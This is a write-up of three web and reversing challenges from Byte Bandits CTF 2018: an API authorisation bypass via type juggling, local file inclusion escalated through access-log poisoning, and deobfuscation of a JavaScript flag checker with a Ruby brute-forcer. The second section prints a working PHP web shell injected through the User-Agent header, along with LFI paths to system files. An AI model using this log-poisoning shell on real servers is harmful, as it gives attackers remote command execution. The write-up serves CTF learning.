Byte Bandits CTF 2018 - Write-up

Information#

Version#

By Version Comment
noraj 1.0 Creation

CTF#

  • Name : Byte Bandits CTF 2018
  • Website : ctf.euristica.in
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

100 - El Lazo - Web#

It's only when you look closely, you can figure out that all those things which appears same are actually different!

http://web.euristica.in/El_Lazo

Here is the interesting part of the web page source:

<script  type="text/javascript" charset="utf-8" async defer>
	
$(document).ready(function(){
    $(".b").click(function(){

    	var v=parseInt(this.value);
    	var object={"id":v};
    	
    	$.ajax({
		    type: 'POST',
		    url: 'El_Lazo/api/',
		    contentType: 'application/json; charset=utf-8',
		    dataType: 'json',
		    data:JSON.stringify(object),
		    success:function (res) {
 			console.log(res);
			$('#message').html(res.msg);

			}
		});

		// $.post('/api/', {"id":v},function(data){
		// 	$("#message").html(data.msg);

		// });		

   	});
});

</script>

<body>
	<h1> Contrapasso</h1>
	<br><br><br>
	<button class="b" type="button" value=2>Pedro</button>
	<button class="b" type="button" value=3>Maria</button>
	<button class="b" type="button" value=4>Gonzalez</button>
	<p id="message"></p>
</body>

I fired Burp and its Repeater to try the API.

A normal request looks like:

POST /El_Lazo/api/ HTTP/1.1
Host: web.euristica.in
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://web.euristica.in/El_Lazo
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 8
Connection: close

{"id":2}

And so the normal answer is:

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Sat, 07 Apr 2018 16:44:33 GMT
Content-Type: application/json
Content-Length: 28
Connection: close

{"msg":"Didn't you notice"}

The only known valid values are 2,3,4. Want to try 1?

  • payload: {"id":1}
  • answer: {"msg":"You are not authorized to view that message"}

I think this is where we need to keep looking at.

Then try a type juggling:

  • payload: {"id":"1"}
  • answer: {"msg":"flag{Y0u_c4n_c4ll_m3_law3r3nce3}"}

200 - R3M3MB3R - Web#

The memories are purged at the end of every narrative loop. But they're still in there, waiting to be overwritten. He found a way to access them, like a subconscious. ~Bernard Lowe

http://web.euristica.in/R3M3MB3R/index.php?f=eg.php

It's obvious we have a LFI. Let's try some files:

  • /etc/os-release: Debian GNU/Linux 9 (stretch)
  • /proc/self/status: apache2
  • /proc/self/fd/2: logs, same as /var/log/apache2/error.log
  • /etc/apache2/envvars: default environment variables for apache2ctl
  • /etc/apache2/sites-enabled/000-default.conf: vhost config
  • /proc/self/fd/7: logs, same as /var/log/apache2/access.log

/proc/self/environ is not available but log files are so we will do some log poisoning.

The goal is simple: making a bad request containing a PHP payload in a way that the PHP payload will be written in the log file. Then we will be able to include the log file via the LFI to get the PHP payload executed.

The access log is containing every requested page with the User-Agent of the HTTP client, so if we inject a PHP payload in the User-Agent HTTP header we will be able to get the payload written in the log file.

I inserted <?php system($_GET['c']); ?> in my User-Agent and requested c=ls -lAR by the same time:

GET /R3M3MB3R/index.php?f=/proc/self/fd/7&c=ls%20%2dlAR HTTP/1.1
Host: web.euristica.in
User-Agent: Mozilla/5.0  <?php system($_GET['c']); ?> Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

The server told me his secrets:

[...]
172.17.0.1 - - [07/Apr/2018:21:24:32 +0000] "GET //index.php?f=/proc/self/fd/7&c=ls%20%2dlAR HTTP/1.0" 200 453 "-" "Mozilla/5.0  .:
total 12
-r--r--r-- 1 1000 1000   36 Apr  7 17:24 S3cR3T_FL4G.txt
-r--r--r-- 1 1000 1000 2321 Apr  6 21:56 eg.php
-r--r--r-- 1 1000 1000  530 Apr  6 22:30 index.php
[...]

Then we have just to get the flag:

http://web.euristica.in/R3M3MB3R/index.php?f=S3cR3T_FL4G.txt: flag{S0metim3s_it5_b3tter_to_4_GET}

Note: first access log was unavailable because a player was DoSing the challenge, so I tried to poison the error log, but when I was doing that the challenge's author did a patch to clean the logs every few seconds in order to avoid being DoSed. When he patched the challenge, he blocked the error log file because it was an unintended way to flag, so my method became useless but the access log file was available back, so after a large amount of wasted time I managed to flag.

panoptic is also a great tool to find some files when we have a LFI.

panoptic --url "http://web.euristica.in/R3M3MB3R/index.php?f=eg.php" --param f

350 - laz3y - Web#

Mitnick: Saw your website today, didn't know you were such a good web developer.

Linus: Totally not. Just copied a template and made some changes. You can be a developer too :p

http://web.euristica.in/laz3y/

Flag format: flag{secret_string}

PS : this challenge was badly categorized, it's not a web challenge but a pure reverse engineering challenge.

We can find the template from colorlib, download it, and compare the main page with the one actually running.

So we see that there is an additional script setting.js on the main page.

This looks very obfuscated.

Look at the setting.js script (on ghostbin or on hastebin) embedded in the website.

First I used Firefox debugger to format the source code, then I began to browse it and I saw _0xd1e9 that looked interesting.

var _0xd1e9 = [
  _0x15c2('0xf'),
  _0x15c2('0x10'),
  '',
  'charCodeAt',
  'fromCharCode',
  _0x15c2('0x11'),
  'l',
  '0',
  'T',
  _0x15c2('0x5'),
  '!',
  '_',
  _0x15c2('0x12'),
  '}',
  _0x15c2('0x13'),
  _0x15c2('0x14')
];

I executed _0xd1e9; in the console to quickly deobfuscate it:

So we can look for _0xd1e9[12] == Flag{.

At L294 we have:

console[_0xd1e9[14]](_0xd1e9[12] + _0x2cc2cf + _0xd1e9[13]);

and at L344 & L349:

console[_0xd1e9[14]](_0xd1e9[12] + _0x190ex2 + _0xd1e9[13]);

So we want to get _0x2cc2cf or _0x190ex2. _0x190ex2 is never defined but _0x2cc2cf is a parameter of the solver function.

function solver(_0x2cc2cf)

But solver is never called... So I started to replace all _0x15c2 and _0xd1e9 with their value.

After that, I removed all useless statements: else statements when the if statement is always true, if statements that are always false.

Here is my work of deobfuscation: setting_deo.js (on ghostbin or on hastebin).

So the next big part is to deduce the flag from the solver function.

The part interesting us is this one (that I reworked):

if (!/[^nfTzhb_0FAiuctxlswa!]/["test"](_0x2cc2cf) && _0x2cc2cf[29] == "!" && _0x2cc2cf[4] == _0x2cc2cf[8] == "_" && _0x2cc2cf[10] == _0x2cc2cf[14] && _0x2cc2cf[17] == "_" && _0x2cc2cf["length"] == 30 && crypto(_0x2cc2cf) && a(_0x2cc2cf) && b(_0x2cc2cf) && c(_0x2cc2cf) && d(_0x2cc2cf) && f(_0x2cc2cf)) {
  console["log"]("Flag{" + _0x2cc2cf + "}");
}

This is giving us the alphabet used, the flag length, some letters, some equalities, and some functions that need to return true. So we need to build a 30 char long flag, we can start to replace some letters but we will need to reverse the crypto function and all other functions a, b, c, d, f.

So I rebuilt the xor function out of the crypto one in order to call it, that's how I obtained the last part of the flag: 0bfuscati0n!.

Then the hardest part was to revert all a, b, c, d, f functions (look at the source code), that needed deep analysis and external scripts.

Finally, we don't have all the letters. So I made a ruby script (that I tweaked several times) to bruteforce the remaining letters that also call setting.js to validate them :

ens = "nfTzhb_0FAiuctxlswa!"
partial_flag = "TXXX_wXX_XXl0TX0X_0bfuscati0n!"
flag_fragment = []
flag_fragment[1] = ["h"] # ["a","t","h"]
flag_fragment[2] = ["a"] # ["a","t","h"]
flag_fragment[3] = ["t"] # ["t","a"]
flag_fragment[6] = ["A"] # ["A","s"]
flag_fragment[7] = ["s"] # ["A","s"]
flag_fragment[9] = ["a"] # ["n","T","z","h","b","0","F","A","i","x","l","s","a"] # ["n","T","z","h","b","_","0","F","A","i","x","l","s","a","!"]
flag_fragment[10] = flag_fragment[14] = "nfTzhb_0FAiuctxlswa".scan(/\w/) # "nfTzhb_0FAiuctxlswa!".scan(/\w/)
flag_fragment[16] = "nfTzhb_0FAiuctxlswa".scan(/\w/) # "nfTzhb_0FAiuctxlswa!".scan(/\w/)

flag_fragment[1].each do |c1|
  flag_fragment[2].each do |c2|
    flag_fragment[3].each do |c3|
      flag_fragment[6].each do |c6|
        flag_fragment[7].each do |c7|
          flag_fragment[9].each do |c9|
            flag_fragment[10].each do |c10|
              flag_fragment[16].each do |c16|
                partial_flag[1] = c1
                partial_flag[2] = c2
                partial_flag[3] = c3
                partial_flag[6] = c6
                partial_flag[7] = c7
                partial_flag[9] = c9
                partial_flag[10] = partial_flag[14] = c10
                partial_flag[16] = c16
                puts `node setting.js #{partial_flag}` # I slightly modified setting.js
              end
            end
          end
        end
      end
    end
  end
end

Then we still have a large list of possible flags. But one makes more sense: Flag{That_wAs_a_l0T_0f_0bfuscati0n!}.

Share